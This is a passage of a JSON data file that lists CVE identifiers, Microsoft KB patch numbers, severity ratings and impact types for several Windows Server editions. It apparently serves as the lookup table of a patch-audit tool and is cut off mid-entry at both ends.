Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"","impact":"Windows Library Loading"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows Server 2003 R2 Service Pack 2":[{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2003 R2 x64 Edition Service Pack 2":[{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for Itanium-Based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898857","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3237","kb":"3185330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197868","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012215","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for Itanium-based Systems Service Pack 1":[{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems (Server Core installation)":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416471","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code 